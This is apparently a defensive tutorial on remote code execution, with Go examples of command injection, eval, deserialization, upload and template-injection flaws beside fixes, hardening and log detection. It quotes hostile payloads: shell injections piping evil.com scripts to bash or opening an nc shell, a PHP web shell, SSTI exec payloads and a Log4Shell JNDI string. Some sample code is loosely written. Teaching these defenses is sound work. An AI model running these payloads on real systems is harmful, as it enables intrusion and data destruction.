Remote Code Execution #
Remote Code Execution (RCE) is the most serious vulnerability category in web application security. When RCE happens, attackers are no longer limited to the data they can read or the actions they can trigger — they have the ability to run arbitrary code on the server. This means full filesystem access, the ability to read and modify the database directly, backdoor installation, creating new operating system users, and in many cases, pivoting to other internal systems inaccessible from the internet.
The difference between SQL Injection and RCE is the difference between losing data and losing the entire server. SQL Injection can expose the database; RCE can expose the server, the internal network, and every system reachable from that server.
What makes RCE dangerous isn’t just its extreme impact, but also the variety of ways it can happen: command injection, eval injection, insecure deserialization, malicious file uploads, server-side template injection, dependency vulnerabilities — all can lead to attacker-controlled code execution on the server.
How RCE Works: From Input to Execution #
All paths to RCE share one thing in common: attacker-controlled input somehow gets executed as code or commands by the system. Different paths, different mechanisms, but the same principle.
graph LR
A[Attacker Input] --> B{RCE Vectors}
B --> C["Command Injection\ncmdline from user input"]
B --> D["Eval Injection\neval dynamic code"]
B --> E["Deserialization\ndangerous objects"]
B --> F["File Upload\nexecutable files"]
B --> G["Template Injection\ntemplate engines"]
B --> H["Dependency CVE\nvulnerable libraries"]
C --> I[Shell Execution]
D --> I
E --> I
F --> J[File Execution]
G --> I
H --> I
J --> I
I --> K[RCE — Full Server Control]Command Injection #
Command injection happens when applications pass user input to shell commands without sanitization. It’s one of the most direct and most common forms of RCE.
// ANTI-PATTERN 1: shell=True with user input — very dangerous
func pingHostUnsafe(hostname string) string {
// If hostname = "google.com; rm -rf /"
// The command becomes: ping google.com; rm -rf /
out, _ := exec.Command("sh", "-c", fmt.Sprintf("ping -c 4 %s", hostname)).Output()
return string(out)
}
// ANTI-PATTERN 2: os.system with user input
func processImageUnsafe(filename string) {
// If filename = "image.jpg; curl http://evil.com/backdoor.sh | bash"
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.png", filename)).Run()
}
// CORRECT: use list arguments, don't invoke the shell
func pingHostSafe(hostname string) (string, error) {
// Validate the hostname first
if !hostnameRegex.MatchString(hostname) {
return "", errors.New("invalid hostname")
}
// Use a list — each argument is one separate unit
// The shell isn't invoked, no metacharacter parsing
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
out, err := exec.CommandContext(ctx, "ping", "-c", "4", hostname).Output()
if err != nil {
return "", err
}
return string(out), nil
}
// CORRECT for image processing: use a library, not shell commands
func processImageSafe(filePath string) error {
// Use an image library (e.g. golang.org/x/image), not a shell command
img, err := openImage(filePath)
if err != nil {
return err
}
return saveImageAsJPEG(img, "output.jpg")
}
Shell metacharacters used for injection:
; → run the next command
&& → run if the previous command succeeded
|| → run if the previous command failed
| → pipe output to the next command
` → command substitution (backticks)
$() → command substitution
> → redirect output (overwrite a file)
>> → redirect output (append to a file)
< → redirect input
& → run in the background
Example payloads:
hostname = "google.com; cat /etc/passwd"
hostname = "google.com && whoami"
hostname = "google.com | nc evil.com 4444 -e /bin/bash"
hostname = "$(curl http://evil.com/backdoor.sh | bash)"
Eval Injection #
eval() and similar functions execute strings as code. When user input reaches eval, attackers can run arbitrary code.
// Go has no eval — the equivalent danger is compiling/executing
// dynamic code or invoking interpreters with user input.
// ANTI-PATTERN: running user input through an interpreter or plugin loader
func calculateUnsafe(expression string) any {
// e.g. executing a script through an embedded interpreter
// result := interpreter.Eval(expression) // arbitrary code execution!
return nil
}
// Unsafe template strings
func renderTemplateUnsafe(template string, userData map[string]any) string {
// If template = "{user.__class__.__mro__[1].__subclasses__()}"
// naive string replacement can reach internal state
return naiveFormat(template, userData)
}
// CORRECT: never execute user input.
// For math calculations: use a safe expression parser (e.g. govaluate)
// or a small recursive-descent parser that only accepts numbers and + - * /
func safeEvalMath(expression string) (float64, error) {
p := &mathParser{s: expression}
v, err := p.parseExpr()
if err != nil {
return 0, errors.New("invalid expression")
}
if p.pos != len(p.s) {
return 0, errors.New("invalid expression")
}
return v, nil
}
// safeEvalMath("2 + 3 * 4") → 14
// safeEvalMath("__import__('os')") → error (only numbers and operators)
Insecure Deserialization #
Deserialization is the process of converting serialized data (bytes, JSON, XML) back into objects. When deserialization libraries process user-supplied data without validation, attackers can manipulate serialized data to execute code during deserialization.
// ANTI-PATTERN: deserializing user data with a native binary format
func processData(data []byte) {
// encoding/gob (and gob-like formats) reconstruct arbitrary objects
// from bytes — with attacker-controlled data this can trigger
// unexpected behavior during decoding
var obj any
if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
return
}
process(obj)
}
// CORRECT: use formats safe from user input
func parseConfigSafe(jsonString string) (map[string]any, error) {
// JSON can't execute code during parsing
// But still validate the schema after parsing
var data map[string]any
if err := json.Unmarshal([]byte(jsonString), &data); err != nil {
return nil, errors.New("invalid JSON format")
}
// Validate the schema
if err := validateConfigSchema(data); err != nil {
return nil, err
}
return data, nil
}
// If a binary format must be used (internal only, not from users):
// Sign the data before storing, verify the signature before loading
func safeSerialize(obj any) ([]byte, error) {
data, err := gob.Marshal(obj)
if err != nil {
return nil, err
}
mac := hmac.New(sha256.New, []byte(secretKey))
mac.Write(data)
sig := mac.Sum(nil)
return append(sig, data...), nil
}
func safeDeserialize(signedData []byte) (any, error) {
sig, data := signedData[:32], signedData[32:]
mac := hmac.New(sha256.New, []byte(secretKey))
mac.Write(data)
if !hmac.Equal(sig, mac.Sum(nil)) {
return nil, errors.New("data has been tampered with")
}
var obj any
if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
return nil, err
}
return obj, nil
}
File Upload to RCE #
Insecure file uploads are a classic path to RCE. Attackers upload files that look like images but actually contain executable code.
// ANTI-PATTERN: storing uploads in the web root and serving them directly
func uploadFile(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
// Store directly in a publicly accessible folder
os.WriteFile("/var/www/html/uploads/"+header.Filename, readAll(file), 0o644)
json.NewEncoder(w).Encode(map[string]string{"url": "/uploads/" + header.Filename})
}
// Attackers upload a file named "shell.php" with the content:
// <?php system($_GET['cmd']); ?>
// Then access: /uploads/shell.php?cmd=whoami
// → The server runs the command as the web user
// CORRECT: secure file uploads
var uploadDir = "/var/uploads" // OUTSIDE the web root!
var allowedMimeTypes = map[string]string{
"image/jpeg": ".jpg", "image/png": ".png",
"image/gif": ".gif", "image/webp": ".webp",
}
func uploadFileSafe(w http.ResponseWriter, r *http.Request) {
file, header, err := r.FormFile("file")
if err != nil {
json.NewEncoder(w).Encode(map[string]string{"error": "No file provided"})
w.WriteHeader(400)
return
}
defer file.Close()
// 1. Validate the MIME type from file content
buf := make([]byte, 2048)
n, _ := file.Read(buf)
detectedMime := http.DetectContentType(buf[:n])
ext, ok := allowedMimeTypes[detectedMime]
if !ok {
json.NewEncoder(w).Encode(map[string]string{"error": "File type not allowed: " + detectedMime})
w.WriteHeader(400)
return
}
// 2. Generate a new safe filename — never use the user's name
safeFilename := randomHex(16) + ext
// 3. Store outside the web root
savePath := filepath.Join(uploadDir, safeFilename)
full, _ := io.ReadAll(file)
os.WriteFile(savePath, full, 0o600)
// 4. Store metadata in the database (a reference to the file)
dbFile := UploadedFile.Create(map[string]any{
"user_id": currentUser.ID,
"filename": safeFilename,
"original_name": header.Filename[:255],
"mime_type": detectedMime,
"size": len(full),
})
json.NewEncoder(w).Encode(map[string]string{"file_id": dbFile.ID})
w.WriteHeader(201)
}
// 5. Serve files through an access-validating endpoint
func serveFile(w http.ResponseWriter, r *http.Request, fileID int) {
dbFile := UploadedFile.GetOr404(fileID)
// Validate access
if dbFile.UserID != currentUser.ID {
http.Error(w, "Forbidden", 403)
return
}
// Serve the file directly (not a redirect to the physical path)
http.ServeFile(w, r, filepath.Join(uploadDir, dbFile.Filename))
}
Why storing outside the web root and serving via endpoints:
Web root (/var/www/html/uploads/):
→ Files directly accessible via URLs
→ Web servers may execute files based on extensions
→ PHP files → Apache executes them → RCE
→ .htaccess overrides → changes behavior
Outside the web root (/var/uploads/):
→ Not directly accessible via URLs
→ Web servers don't know these files exist
→ Only the application can serve files
→ The application validates access before serving
→ The application sets Content-Type from the database, not extensions
Server-Side Template Injection (SSTI) #
Template injection happens when user input is inserted directly into a template engine that then executes it. Unlike XSS, which executes in browsers, SSTI executes on the server.
// ANTI-PATTERN: templates from user input
func renderTemplateUnsafe(w http.ResponseWriter, r *http.Request) {
templateStr := r.URL.Query().Get("template")
// If the template = "{{7*7}}" → the server computes and returns "49"
// This confirms a vulnerable SSTI!
// html/template parses from strings — with user input this is dangerous
t, _ := template.New("t").Parse(templateStr) // DANGEROUS
t.Execute(w, nil)
}
// CORRECT: templates from files, not from users
func renderTemplateSafe(w http.ResponseWriter, r *http.Request) {
// Templates live in a developer-controlled filesystem
// Users can only choose from existing templates
templateName := r.URL.Query().Get("template")
if templateName == "" {
templateName = "default"
}
// Whitelist the allowed templates
allowedTemplates := map[string]bool{"welcome": true, "confirmation": true, "invoice": true}
if !allowedTemplates[templateName] {
templateName = "default"
}
// Render an existing template (parsed at startup from the filesystem)
templates.ExecuteTemplate(w, "emails/"+templateName+".html", currentUser)
}
// If users need content customization (not templates):
// Provide specific placeholders, not a full template engine
func customizeEmail(w http.ResponseWriter, r *http.Request) {
templateName := "confirmation"
// Users can only fill specific placeholders
userMessage := r.FormValue("message")
// Escape the user message before inserting it into the template
safeMessage := template.HTMLEscapeString(userMessage)
// renderTemplate(w, "emails/"+templateName+".html",
// map[string]any{"user_message": safeMessage}) // an escaped string, not a template
}
Common SSTI payloads for detection:
Jinja2: {{7*7}} → 49 (confirms vulnerability)
{{config}} → application configuration
{{''.__class__.__mro__[1].__subclasses__()}} → subclasses
Twig: {{7*7}} → 49
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
FreeMarker: ${7*7} → 49
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
Dependency Vulnerabilities #
Third-party libraries containing vulnerabilities can become RCE vectors without a single line of unsafely written code.
Real-world dependency RCE examples:
Log4Shell (CVE-2021-44228):
The Java Log4j2 logging library used by millions of applications
The string "${jndi:ldap://attacker.com/exploit}" in a log
→ The library fetches an external URL → downloads and executes a Java class
→ RCE in every application using Log4j2 < 2.15.0
Impact: thousands of enterprise servers compromised within days
Spring4Shell (CVE-2022-22965):
Spring Framework with JDK 9+
Certain requests allow ClassLoader modification
→ Inject JSP webshells into servers
→ RCE without authentication
Deserialization in commons-collections (CVE-2015-6420):
The Apache Commons Collections library
Used by many Java frameworks (JBoss, WebLogic, Jenkins)
Gadget chains exploiting deserialization
→ RCE without authentication
# Mitigating dependency RCE: dependency scanning in CI/CD
# GitHub Actions for npm
name: Security Scan
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Node.js
- name: NPM Audit
run: npm audit --audit-level=high
# Fail CI on high/critical vulnerabilities
# Python
- name: Safety Check
run: |
pip install safety
safety check --full-report -r requirements.txt
# Java
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'myapp'
path: '.'
format: 'HTML'
args: --failOnCVSS 7
# Go
- name: GoVulnCheck
run: |
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
# Automated dependency update configuration (GitHub Dependabot)
# .github/dependabot.yml
# version: 2
# updates:
# - package-ecosystem: "pip"
# directory: "/"
# schedule:
# interval: "weekly"
# open-pull-requests-limit: 10
#
# - package-ecosystem: "npm"
# directory: "/"
# schedule:
# interval: "daily" # more frequent for frontend dependencies
Defense in Depth: Layered Mitigations #
No single mitigation is enough. Defense in depth ensures that if one layer fails, another layer limits the damage.
Protection layers against RCE:
Layer 1 — Input validation (prevents RCE from happening):
→ Strict validation of all input
→ Whitelist approach for commands and templates
→ Never eval user input
Layer 2 — Least privilege (limits if RCE happens):
→ Applications run as non-root users with minimal privileges
→ Filesystem: applications can only read/write in specific directories
→ Network: applications can't make unnecessary outbound connections
→ Processes: can't fork or spawn new processes
Layer 3 — Sandboxing/Containerization:
→ Docker containers with restricted capabilities
→ seccomp profiles to limit syscalls
→ AppArmor or SELinux for MAC (Mandatory Access Control)
Layer 4 — Network segmentation:
→ Applications can't directly access production databases from the internet
→ Internal services only accessible from internal networks
→ Egress filtering: applications can't curl attacker servers
Layer 5 — Monitoring and detection:
→ Detect unusual process execution
→ Alert on unexpected outbound connections
→ File integrity monitoring
# A Dockerfile applying least privilege
FROM python:3.12-slim
# Create a non-root user
RUN groupadd -r appgroup && useradd -r -g appgroup appuser
# Install dependencies as root
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Copy the application code
COPY . .
# Set ownership to appuser
RUN chown -R appuser:appgroup /app
# Run as a non-root user
USER appuser
# Only expose the needed port
EXPOSE 8000
# No shell — harder for attackers to run commands
ENTRYPOINT ["gunicorn", "--bind", "0.0.0.0:8000", "app:create_app()"]
# seccomp profiles limiting the syscalls containers can use
# Prevents several post-exploitation techniques
# docker-compose.yml
# services:
# app:
# security_opt:
# - no-new-privileges:true # Prevents privilege escalation
# cap_drop:
# - ALL # Remove all Linux capabilities
# cap_add:
# - NET_BIND_SERVICE # Only add what's needed
# read_only: true # Read-only filesystem
# tmpfs:
# - /tmp # Only /tmp is writable
Detecting RCE Attempts #
Active monitoring can detect RCE attacks before attackers succeed or shortly after.
// Patterns indicating RCE attempts in logs
var rceIndicators = []string{
// Command injection patterns
";", "&&", "||", "|", "`", "$(",
"bash", "sh", "cmd.exe", "powershell",
"/bin/", "/etc/passwd", "/etc/shadow",
"whoami", "id", "uname", "cat /etc",
// SSTI patterns
"{{", "}}", "${", "#{",
"__class__", "__mro__", "__subclasses__",
// Path traversal (can lead to RCE)
"../", `..\`, "%2e%2e",
// Encoded null bytes
"%00", "\x00",
}
func detectRCEAttempt(requestData string) bool {
lowerData := strings.ToLower(requestData)
for _, indicator := range rceIndicators {
if strings.Contains(lowerData, strings.ToLower(indicator)) {
return true
}
}
return false
}
// Middleware that monitors requests
func monitorRequests(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Monitor query parameters
for param, value := range r.URL.Query() {
for _, v := range value {
if detectRCEAttempt(v) {
securityLogger.Warn("Potential RCE attempt detected",
"ip", r.RemoteAddr,
"path", r.URL.Path,
"param", param,
"value", truncate(v, 200), // limit the log length
"user_id", currentUserID(r),
"user_agent", r.UserAgent(),
)
// Optional: add to a watchlist for stricter monitoring
}
}
}
next.ServeHTTP(w, r)
})
}
Anti-Patterns to Avoid #
// ✗ Anti-pattern 1: shell command with user input
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.jpg", userFilename)).Run()
// ✓ Solution: list arguments + input validation + use libraries
// ✗ Anti-pattern 2: executing user input as code
// Go has no eval — the danger is passing user input to an embedded interpreter
// ✓ Solution: never execute user input — use a safe parser if calculations are needed
// ✗ Anti-pattern 3: gob.Unmarshal from user input
gob.NewDecoder(bytes.NewReader(requestBody)).Decode(&obj)
// ✓ Solution: use JSON from users, sign binary data for internal use
// ✗ Anti-pattern 4: file uploads in the web root without MIME validation
os.WriteFile("/var/www/html/uploads/"+filename, content, 0o644)
// ✓ Solution: store outside the web root, validate MIME from content, generate new names
// ✗ Anti-pattern 5: template engines from user input
template.New("t").Parse(userTemplate) // DANGEROUS
// ✓ Solution: templates from the filesystem, users only choose from a whitelist
// ✗ Anti-pattern 6: dependencies never audited
// go.mod with no version pins / never running govulncheck
// ✓ Solution: pin versions, scan CVEs in CI, enable Dependabot
// ✗ Anti-pattern 7: applications running as root
// USER root in Dockerfiles (the default if not set)
// ✓ Solution: create a dedicated user, run as non-root
// ✗ Anti-pattern 8: uploaded files directly accessible via URLs
// GET /uploads/shell.php → the web server executes PHP
// ✓ Solution: serve files through the application with validation, not directly via web servers
Remote Code Execution Prevention Checklist #
COMMAND INJECTION:
□ No subprocess.run/os.system with shell=True and user input
□ All external commands use list arguments
□ Input used in commands validated with strict whitelists
□ Use Python/native language libraries instead of shell commands
EVAL INJECTION:
□ No eval(), exec(), or new Function() with user input
□ Template engines don't accept templates from user input
□ String formats able to access internal objects avoided
□ Math calculations use safe parsers, not eval
DESERIALIZATION:
□ No pickle.loads(), unserialize(), or ObjectInputStream from users
□ yaml.safe_load() used (not yaml.load() without a Loader)
□ Internal deserialization uses signed data (HMAC)
□ JSON used for data exchange with user input
FILE UPLOADS:
□ MIME types detected from file content, not extensions/Content-Type headers
□ Files stored outside the web root
□ Filenames regenerated (not from users)
□ Files served through access-validating endpoints
□ Web servers don't execute files from upload directories
TEMPLATE INJECTION:
□ Templates from the filesystem, not user input
□ Users can only choose from existing template whitelists
□ Variable content escaped before rendering
□ Template engines not exposed to users as "features"
DEPENDENCIES:
□ Dependency scanning runs in CI/CD (npm audit, safety, etc.)
□ Dependabot or renovate active for automatic updates
□ Found CVEs prioritized by severity
□ Dependencies pinned to specific versions (not latest/*)
LEAST PRIVILEGE & ISOLATION:
□ Applications run as non-root users
□ Containers use read-only filesystems when possible
□ Unneeded Linux capabilities dropped
□ Network egress restricted to genuinely needed traffic
□ seccomp/AppArmor profiles configured
MONITORING:
□ Command injection and SSTI patterns monitored in request logs
□ Unexpected new processes alerted
□ File integrity monitoring active for critical directories
□ Unusual outbound connections alerted
Summary #
- RCE is the most serious vulnerability — not just leaked data, but the entire server under attacker control. From there they can pivot to other internal systems.
- Command injection is prevented by not using shells — use list arguments in subprocess, never
shell=True with user input. Use programming language libraries instead of calling external commands. - Eval with user input is impossible to secure — there’s no way to make eval safe with untrusted user input. Use safe parsers for math calculations, files for template rendering.
- Pickle, unserialize, and ObjectInputStream are unsafe from user input — native serialization formats can execute code during deserialization. Use JSON for user data, sign internal data if binary formats must be used.
- File upload to RCE needs two conditions — files can be uploaded and can be executed. Break either one: store outside the web root (not directly executable) or strictly validate MIME types and serve through the application.
- Template injection happens when users control templates — not just variable content. Templates must come from a developer-controlled filesystem, not user input.
- Dependency CVEs can happen without any wrong code — one popular vulnerable library can expose thousands of applications. Dependency scanning in CI is mandatory.
- Least privilege limits the damage if RCE happens — applications running as non-root with read-only filesystems and egress filtering make post-exploitation much harder.
- Defense in depth is the key — input validation, least privilege, containerization, network segmentation, and monitoring must work together. One failing layer doesn’t immediately mean disaster.
- Active monitoring can detect RCE early — patterns like
{{, $(, /etc/passwd in request parameters are attack indicators that should trigger alerts.
#
- RCE is the most serious vulnerability — not just leaked data, but the entire server under attacker control. From there they can pivot to other internal systems.
- Command injection is prevented by not using shells — use list arguments in subprocess, never
shell=Truewith user input. Use programming language libraries instead of calling external commands. - Eval with user input is impossible to secure — there’s no way to make eval safe with untrusted user input. Use safe parsers for math calculations, files for template rendering.
- Pickle, unserialize, and ObjectInputStream are unsafe from user input — native serialization formats can execute code during deserialization. Use JSON for user data, sign internal data if binary formats must be used.
- File upload to RCE needs two conditions — files can be uploaded and can be executed. Break either one: store outside the web root (not directly executable) or strictly validate MIME types and serve through the application.
- Template injection happens when users control templates — not just variable content. Templates must come from a developer-controlled filesystem, not user input.
- Dependency CVEs can happen without any wrong code — one popular vulnerable library can expose thousands of applications. Dependency scanning in CI is mandatory.
- Least privilege limits the damage if RCE happens — applications running as non-root with read-only filesystems and egress filtering make post-exploitation much harder.
- Defense in depth is the key — input validation, least privilege, containerization, network segmentation, and monitoring must work together. One failing layer doesn’t immediately mean disaster.
- Active monitoring can detect RCE early — patterns like
{{,$(,/etc/passwdin request parameters are attack indicators that should trigger alerts.